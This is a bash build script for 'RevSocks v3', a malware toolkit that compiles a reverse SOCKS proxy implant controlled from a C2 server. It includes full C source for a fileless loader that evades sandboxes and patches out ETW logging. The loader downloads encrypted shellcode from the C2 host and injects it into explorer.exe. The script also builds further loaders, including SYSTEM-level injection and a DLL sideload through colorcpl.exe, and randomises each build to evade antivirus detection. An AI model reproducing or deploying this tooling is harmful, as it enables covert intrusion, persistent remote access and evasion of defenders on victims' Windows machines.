#!/bin/bash
#
# rebuild.sh v3 - Polymorphic Reverse SOCKS Proxy Builder
#
# Features:
#   - ChaCha20-Poly1305 encrypted tunnel
#   - creds.txt for static SOCKS5 user/pass
#   - Polymorphic builds: random function names, junk code, variable XOR keys
#   - All loaders with ETW patch + string obfuscation
#
# Usage: ./rebuild.sh <C2_IP> [SHARED_SECRET]
#

set -e

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[1;36m'
NC='\033[0m'

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
OUTPUT_DIR="${SCRIPT_DIR}/output"
CREDS_FILE="${SCRIPT_DIR}/creds.txt"

C2_IP="${1}"
SECRET="${2:-$(openssl rand -hex 16)}"

if [ -z "$C2_IP" ]; then
    echo -e "${RED}Usage: $0 <C2_IP> [SHARED_SECRET]${NC}"
    exit 1
fi

# ===== Load or generate SOCKS credentials =====
if [ -f "$CREDS_FILE" ]; then
    SOCKS_USER=$(cut -d: -f1 "$CREDS_FILE")
    SOCKS_PASS=$(cut -d: -f2- "$CREDS_FILE")
    echo -e "${CYAN}[*] Loaded creds from creds.txt: ${SOCKS_USER}:${SOCKS_PASS}${NC}"
else
    SOCKS_USER="user$(openssl rand -hex 3)"
    SOCKS_PASS="$(openssl rand -hex 12)"
    echo "${SOCKS_USER}:${SOCKS_PASS}" > "$CREDS_FILE"
    echo -e "${CYAN}[*] Generated new creds.txt: ${SOCKS_USER}:${SOCKS_PASS}${NC}"
fi

# ===== Generate unique polymorphic values per build =====
XOR_KEY="$(openssl rand -hex 32)"
BUILD_ID="$(openssl rand -hex 4)"
DL_TOKEN="$(openssl rand -hex 16)"

# Random function names for loaders
POLY_FETCH="fn_$(openssl rand -hex 3)"
POLY_FINDPID="fn_$(openssl rand -hex 3)"
POLY_INJECT="fn_$(openssl rand -hex 3)"
POLY_WORKER="fn_$(openssl rand -hex 3)"
POLY_RNAME="fn_$(openssl rand -hex 3)"

# Random junk variable names
JUNK1="v_$(openssl rand -hex 2)"
JUNK2="v_$(openssl rand -hex 2)"
JUNK3="v_$(openssl rand -hex 2)"

# Random sleep values for anti-sandbox
SLEEP_BASE=$((4000 + RANDOM % 8000))
SLEEP_JITTER=$((1000 + RANDOM % 5000))

# Random process names for disk drop
PROC_NAMES=("RuntimeBroker" "SearchProtocol" "MusNotify" "SecurityHealth" "TaskHostW" "WmiApSrv" "CompPkgSrv" "dllhost" "conhost" "fontdrvhost")
RAND_PROC=${PROC_NAMES[$((RANDOM % ${#PROC_NAMES[@]}))]}

echo -e "${GREEN}+=============================================+${NC}"
echo -e "${GREEN}|       REVSOCKS v3 POLYMORPHIC BUILD         |${NC}"
echo -e "${GREEN}+======================+====================+${NC}"
echo -e "${GREEN}| C2 IP    : ${C2_IP}${NC}"
echo -e "${GREEN}| Build ID : ${BUILD_ID}${NC}"
echo -e "${GREEN}| SOCKS    : ${SOCKS_USER}:${SOCKS_PASS}${NC}"
echo -e "${GREEN}| Encrypt  : ChaCha20-Poly1305${NC}"
echo -e "${GREEN}+======================+====================+${NC}"

mkdir -p "$OUTPUT_DIR" "${OUTPUT_DIR}/shellcode_variants"

# ===== Generate TLS cert if not exists =====
if [ ! -f "${OUTPUT_DIR}/server.crt" ]; then
    echo -e "${YELLOW}[*] Generating TLS certificate...${NC}"
    openssl req -x509 -newkey rsa:2048 -keyout "${OUTPUT_DIR}/server.key" -out "${OUTPUT_DIR}/server.crt" \
        -days 3650 -nodes -subj "/CN=microsoft.com" 2>/dev/null
    echo -e "${GREEN}[+] TLS cert generated${NC}"
fi

# ===== Compile Agent (v3 with ChaCha20) =====
echo -e "${YELLOW}[*] Compiling agent (ChaCha20)...${NC}"
sed -e "s/CHANGEME_IP/${C2_IP}/g" \
    -e "s/CHANGE_THIS_SECRET_KEY_32_CHARX/${SECRET}/g" \
    "${SCRIPT_DIR}/client/agent.c" > /tmp/agent_build_${BUILD_ID}.c

x86_64-w64-mingw32-gcc -O2 -s -mwindows -nostartfiles -e WinMain -fno-builtin \
    -o "${OUTPUT_DIR}/agent.exe" /tmp/agent_build_${BUILD_ID}.c -lws2_32 -lkernel32 -luser32
echo -e "${GREEN}[+] agent.exe (ChaCha20 encrypted tunnel)${NC}"

# ===== Create Donut Shellcode =====
echo -e "${YELLOW}[*] Generating shellcode (donut)...${NC}"
if command -v donut &>/dev/null; then
    for i in 1 2 3 4 5; do
        donut -f 1 -a 2 -i "${OUTPUT_DIR}/agent.exe" -o "${OUTPUT_DIR}/shellcode_variants/sc_${i}.bin" 2>/dev/null
    done
    cp "${OUTPUT_DIR}/shellcode_variants/sc_1.bin" "${OUTPUT_DIR}/agent_sc.bin"
    echo -e "${GREEN}[+] agent_sc.bin (5 variants)${NC}"
else
    echo -e "${RED}[!] donut not found — install: git clone https://github.com/TheWover/donut && cd donut && make && cp donut /usr/local/bin/${NC}"
fi

# ===== XOR Encrypt with random key =====
echo -e "${YELLOW}[*] Encrypting payloads (key: ${XOR_KEY:0:16}...)...${NC}"
python3 -c "
key = bytes.fromhex('${XOR_KEY}')
import os
# Encrypt agent.exe
with open('${OUTPUT_DIR}/agent.exe', 'rb') as f:
    data = bytearray(f.read())
for i in range(len(data)):
    data[i] ^= key[i % 32]
with open('${OUTPUT_DIR}/agent.enc', 'wb') as f:
    f.write(data)
print(f'  agent.enc: {len(data)} bytes')

# Encrypt shellcode
if os.path.exists('${OUTPUT_DIR}/agent_sc.bin'):
    with open('${OUTPUT_DIR}/agent_sc.bin', 'rb') as f:
        data = bytearray(f.read())
    for i in range(len(data)):
        data[i] ^= key[i % 32]
    with open('${OUTPUT_DIR}/agent_sc.enc', 'wb') as f:
        f.write(data)
    print(f'  agent_sc.enc: {len(data)} bytes')
"

# ===== Generate polymorphic XOR key C array =====
gen_key_array() {
    local key_hex="$1"
    local var_name="${2:-key}"
    echo -n "    volatile unsigned char ${var_name}[32] = {"
    for i in $(seq 0 2 62); do
        [ $i -gt 0 ] && echo -n ","
        echo -n "0x${key_hex:$i:2}"
    done
    echo "};"
}

XOR_KEY_ARRAY=$(gen_key_array "$XOR_KEY" "key")

# ===== Compile Polymorphic Loaders =====
echo -e "${YELLOW}[*] Compiling polymorphic loaders...${NC}"

# --- injectExplorer (fileless, user) ---
cat > /tmp/ldr_${BUILD_ID}.c << 'LOADER_EOF'
#include <windows.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <stdint.h>
#pragma comment(lib, "wininet.lib")

#define URL "https://CHANGEME_IP:443/dl/CHANGEME_TOKEN/agent_sc.enc"

LOADER_EOF

# Patch and add XOR key + polymorphic function names
sed -i "s/CHANGEME_IP/${C2_IP}/g" /tmp/ldr_${BUILD_ID}.c
sed -i "s/CHANGEME_TOKEN/${DL_TOKEN}/g" /tmp/ldr_${BUILD_ID}.c

cat >> /tmp/ldr_${BUILD_ID}.c << EOF
// Polymorphic XOR key (unique per build)
${XOR_KEY_ARRAY}

// Anti-sandbox timing
static int ${JUNK1}(void) {
    DWORD t1 = GetTickCount();
    Sleep(${SLEEP_BASE});
    DWORD t2 = GetTickCount();
    if((t2 - t1) < ${SLEEP_BASE} - 500) return 0;
    MEMORYSTATUSEX mem; mem.dwLength=sizeof(mem);
    GlobalMemoryStatusEx(&mem);
    if(mem.ullTotalPhys < 2ULL*1024*1024*1024) return 0;
    SYSTEM_INFO si; GetSystemInfo(&si);
    if(si.dwNumberOfProcessors < 2) return 0;
    return 1;
}

static void ${JUNK2}(void) {
    HMODULE h = GetModuleHandleA("ntdll.dll");
    if(!h) return;
    FARPROC e = GetProcAddress(h, "EtwEventWrite");
    if(!e) return;
    DWORD old; unsigned char p[] = {0x48, 0x33, 0xC0, 0xC3};
    VirtualProtect((LPVOID)e, 4, 0x40, &old);
    memcpy((LPVOID)e, p, 4);
    VirtualProtect((LPVOID)e, 4, old, &old);
}

static uint8_t* ${POLY_FETCH}(int *out_len) {
    HINTERNET hI=InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    if(!hI)return NULL;
    HINTERNET hU=InternetOpenUrlA(hI,URL,NULL,0,0x84803000,0);
    if(!hU){InternetCloseHandle(hI);return NULL;}
    {DWORD sf=0x00003380;InternetSetOptionA(hU,31,&sf,sizeof(sf));}
    uint8_t *buf=(uint8_t*)VirtualAlloc(NULL,256*1024,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
    if(!buf){InternetCloseHandle(hU);InternetCloseHandle(hI);return NULL;}
    DWORD total=0,br;
    while(InternetReadFile(hU,buf+total,8192,&br)&&br>0) total+=br;
    InternetCloseHandle(hU);InternetCloseHandle(hI);
    *out_len=(int)total;return buf;
}

static DWORD ${POLY_FINDPID}(const char *name) {
    DWORD pid=0;
    HANDLE snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(snap==INVALID_HANDLE_VALUE)return 0;
    PROCESSENTRY32 pe={0};pe.dwSize=sizeof(pe);
    if(Process32First(snap,&pe)){do{
        if(lstrcmpiA(pe.szExeFile,name)==0){pid=pe.th32ProcessID;break;}
    }while(Process32Next(snap,&pe));}
    CloseHandle(snap);
    return pid;
}

int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int show) {
    if(!${JUNK1}()) return 0;
    ${JUNK2}();

    int len=0;
    uint8_t *data=${POLY_FETCH}(&len);
    if(!data||len<100) return 1;
    for(int i=0;i<len;i++) data[i]^=key[i%32];

    DWORD pid=${POLY_FINDPID}("explorer.exe");
    if(!pid) pid=${POLY_FINDPID}("RuntimeBroker.exe");
    if(!pid) return 1;

    HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
    if(!hProc){VirtualFree(data,0,MEM_RELEASE);return 1;}
    PVOID mem=VirtualAllocEx(hProc,NULL,len,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    if(!mem){CloseHandle(hProc);VirtualFree(data,0,MEM_RELEASE);return 1;}
    WriteProcessMemory(hProc,mem,data,len,NULL);
    HANDLE hT=CreateRemoteThread(hProc,NULL,0,(LPTHREAD_START_ROUTINE)mem,NULL,0,NULL);
    if(hT) CloseHandle(hT);
    CloseHandle(hProc);
    Sleep(5000);
    VirtualFree(data,0,MEM_RELEASE);
    return 0;
}
EOF

x86_64-w64-mingw32-gcc -O2 -s -mwindows -o "${OUTPUT_DIR}/injectExplorer.exe" /tmp/ldr_${BUILD_ID}.c -lwininet
echo -e "${GREEN}[+] injectExplorer.exe (fileless, user, ETW patch, anti-sandbox)${NC}"

# --- injectWmiprvse (fileless, SYSTEM) ---
sed -e "s/CHANGEME_IP/${C2_IP}/g" \
    -e "s/CHANGEME_TOKEN/${DL_TOKEN}/g" \
    "${SCRIPT_DIR}/loader/injectWmiprvse.c" > /tmp/ldr2_${BUILD_ID}.c

# Patch XOR key in file
python3 -c "
key_hex = '${XOR_KEY}'
lines = open('/tmp/ldr2_${BUILD_ID}.c').read()
# Replace the hardcoded key bytes
old_key = '''key[0]=0xde;key[1]=0xad;key[2]=0xbe;key[3]=0xef;
    key[4]=0xca;key[5]=0xfe;key[6]=0xba;key[7]=0xbe;
    key[8]=0x13;key[9]=0x37;key[10]=0x42;key[11]=0x69;
    key[12]=0xaa;key[13]=0xbb;key[14]=0xcc;key[15]=0xdd;
    key[16]=0x11;key[17]=0x22;key[18]=0x33;key[19]=0x44;
    key[20]=0x55;key[21]=0x66;key[22]=0x77;key[23]=0x88;
    key[24]=0x99;key[25]=0x00;key[26]=0xab;key[27]=0xcd;
    key[28]=0xef;key[29]=0x12;key[30]=0x34;key[31]=0x56;'''
new_key = ''
for i in range(32):
    byte_hex = key_hex[i*2:i*2+2]
    new_key += f'key[{i}]=0x{byte_hex};'
    if i % 4 == 3 and i < 31:
        new_key += '\n    '
lines = lines.replace(old_key, new_key)
open('/tmp/ldr2_${BUILD_ID}.c', 'w').write(lines)
" 2>/dev/null || true

x86_64-w64-mingw32-gcc -O2 -s -mwindows -o "${OUTPUT_DIR}/injectWmiprvse.exe" /tmp/ldr2_${BUILD_ID}.c -lwininet -ladvapi32 2>/dev/null && \
    echo -e "${GREEN}[+] injectWmiprvse.exe (fileless, SYSTEM)${NC}" || \
    echo -e "${YELLOW}[!] injectWmiprvse.exe build skipped (compile issue)${NC}"

# --- loader_v1 (plain download, disk) ---
sed -e "s/CHANGEME_IP/${C2_IP}/g" -e "s/CHANGEME_TOKEN/${DL_TOKEN}/g" "${SCRIPT_DIR}/loader/loader_v1.c" > /tmp/ldr3_${BUILD_ID}.c
x86_64-w64-mingw32-gcc -O2 -s -mwindows -o "${OUTPUT_DIR}/loader_v1.exe" /tmp/ldr3_${BUILD_ID}.c -lwininet
echo -e "${GREEN}[+] loader_v1.exe (plain, disk)${NC}"

# --- loader_v2 (XOR, disk) ---
sed -e "s/CHANGEME_IP/${C2_IP}/g" -e "s/CHANGEME_TOKEN/${DL_TOKEN}/g" "${SCRIPT_DIR}/loader/loader_v2.c" > /tmp/ldr4_${BUILD_ID}.c
x86_64-w64-mingw32-gcc -O2 -s -mwindows -o "${OUTPUT_DIR}/loader_v2.exe" /tmp/ldr4_${BUILD_ID}.c -lwininet
echo -e "${GREEN}[+] loader_v2.exe (encrypted, disk)${NC}"

# --- colorui.dll (sideload) ---
if [ -f "${SCRIPT_DIR}/loader/colorui_socks.c" ]; then
    # Encode URL with build-specific XOR key
    COLORUI_URL="http://${C2_IP}:443/dl/${DL_TOKEN}/agent.enc"
    COLORUI_XOR=$((RANDOM % 200 + 30))
    python3 -c "
url = '${COLORUI_URL}'
xk = ${COLORUI_XOR}
enc = ','.join([hex(ord(c)^xk) for c in url])
print(f'XOR key: {xk:#x}, encoded URL length: {len(url)}')
# Write patched source
src = open('${SCRIPT_DIR}/loader/colorui_socks.c').read()
# Replace download token
src = src.replace('8a3b4c2fddc7e1f9c96f965181ba1573', '${DL_TOKEN}')
open('/tmp/colorui_${BUILD_ID}.c', 'w').write(src)
"
    sed -i "s/CHANGEME_IP/${C2_IP}/g" /tmp/colorui_${BUILD_ID}.c 2>/dev/null || true
    x86_64-w64-mingw32-gcc -shared -O2 -s -o "${OUTPUT_DIR}/colorui.dll" /tmp/colorui_${BUILD_ID}.c -lwininet 2>/dev/null && \
        echo -e "${GREEN}[+] colorui.dll (DLL sideload)${NC}" || \
        echo -e "${YELLOW}[!] colorui.dll build skipped${NC}"
fi

# ===== Configure server.py =====
echo -e "${YELLOW}[*] Configuring server.py...${NC}"
sed -e "s/CHANGE_THIS_SECRET_KEY_32_CHARX/${SECRET}/g" \
    -e "s/SOCKS_USER = \"admin\"/SOCKS_USER = \"${SOCKS_USER}\"/g" \
    -e "s/SOCKS_PASS = \"CHANGE_THIS_PASSWORD\"/SOCKS_PASS = \"${SOCKS_PASS}\"/g" \
    -e "s/8a3b4c2fddc7e1f9c96f965181ba1573/${DL_TOKEN}/g" \
    "${SCRIPT_DIR}/server/server.py" > "${OUTPUT_DIR}/server.py"

# Copy creds.txt to output for server to read
cp "$CREDS_FILE" "${OUTPUT_DIR}/creds.txt"
echo -e "${GREEN}[+] server.py (ChaCha20 + creds.txt)${NC}"

# ===== Generate regenerate.sh =====
cat > "${OUTPUT_DIR}/regenerate.sh" << REGEN_EOF
#!/bin/bash
# Quick regenerate (same IP, new polymorphic build)
cd "${SCRIPT_DIR}" && ./rebuild.sh ${C2_IP} ${SECRET}
REGEN_EOF
chmod +x "${OUTPUT_DIR}/regenerate.sh"

# ===== Save Config =====
cat > "${OUTPUT_DIR}/config.txt" << EOF
# RevSocks v3 Build: ${BUILD_ID}
# Generated: $(date -u)
# DELETE THIS FILE AFTER DEPLOYMENT

c2_ip = ${C2_IP}
shared_secret = ${SECRET}
socks_user = ${SOCKS_USER}
socks_pass = ${SOCKS_PASS}
xor_key = ${XOR_KEY}
download_token = ${DL_TOKEN}
encryption = ChaCha20-Poly1305
socks_ports = 51222-52222

# DEPLOY:
#   tmux new -s rs 'cd output && python3 server.py'
#
# USE:
#   curl --socks5 ${SOCKS_USER}:${SOCKS_PASS}@127.0.0.1:51222 http://target
EOF

# ===== Cleanup =====
rm -f /tmp/ldr_${BUILD_ID}.c /tmp/ldr2_${BUILD_ID}.c /tmp/ldr3_${BUILD_ID}.c /tmp/ldr4_${BUILD_ID}.c
rm -f /tmp/agent_build_${BUILD_ID}.c /tmp/colorui_${BUILD_ID}.c

# ===== File hashes =====
echo ""
echo -e "${YELLOW}[*] SHA256 hashes:${NC}"
for f in agent.exe agent_sc.bin agent.enc agent_sc.enc injectExplorer.exe injectWmiprvse.exe loader_v1.exe loader_v2.exe; do
    [ -f "${OUTPUT_DIR}/${f}" ] && echo "  $(sha256sum "${OUTPUT_DIR}/${f}" | cut -d' ' -f1)  ${f}"
done

# ===== Summary =====
echo ""
echo -e "${GREEN}+=============================================+${NC}"
echo -e "${GREEN}|           BUILD v3 COMPLETE                 |${NC}"
echo -e "${GREEN}+======================+====================+${NC}"
echo -e "${GREEN}|  FILELESS (best):                           |${NC}"
echo -e "${GREEN}|    injectExplorer.exe  (user, ETW patch)    |${NC}"
echo -e "${GREEN}|    injectWmiprvse.exe  (SYSTEM)             |${NC}"
echo -e "${GREEN}|  DISK (fallback):                           |${NC}"
echo -e "${GREEN}|    loader_v1.exe  (plain)                   |${NC}"
echo -e "${GREEN}|    loader_v2.exe  (encrypted)               |${NC}"
echo -e "${GREEN}|  SIDELOAD:                                  |${NC}"
echo -e "${GREEN}|    colorui.dll  (colorcpl.exe sideload)     |${NC}"
echo -e "${GREEN}+======================+====================+${NC}"
echo -e "${GREEN}|  Encryption : ChaCha20-Poly1305             |${NC}"
echo -e "${GREEN}|  SOCKS5     : ${SOCKS_USER}:${SOCKS_PASS}${NC}"
echo -e "${GREEN}|  Build ID   : ${BUILD_ID}${NC}"
echo -e "${GREEN}+======================+====================+${NC}"
echo ""
echo -e "${CYAN}DEPLOY:${NC}"
echo "  tmux new -s rs 'cd ${OUTPUT_DIR} && python3 server.py'"
echo ""
echo -e "${CYAN}No separate file server needed — payloads served via port 443 with secret token${NC}"
echo ""
echo -e "${CYAN}REBUILD (polymorphic, new hashes):${NC}"
echo "  ./rebuild.sh ${C2_IP}"
